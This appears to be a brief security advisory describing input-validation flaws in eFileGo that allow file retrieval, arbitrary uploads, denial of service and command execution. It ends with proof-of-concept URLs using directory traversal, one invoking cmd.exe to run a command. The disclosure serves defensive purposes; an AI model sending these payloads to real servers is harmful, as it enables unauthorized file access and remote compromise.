source: https://www.securityfocus.com/bid/16124/info eFileGo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to retrieve arbitrary files, upload files to arbitrary locations, cause denial of service conditions and execute arbitrary commands. Successful exploitation may facilitate a remote compromise of the computer running the affected software. http://www.example.com/.../.../.../.../.../windows/ http://www.example.com/.../.../.../.../.../.../windows/explorer.exe http://www.example.com/.../.../.../.../.../.../.../.../windows/system32/cmd.exe?/c+dir http://www.example.com/cgi-bin/upload.exe?/some_random_directory http://www.example.com/cgi-bin/upload.exe?/.../.../.../.../.../.../windows/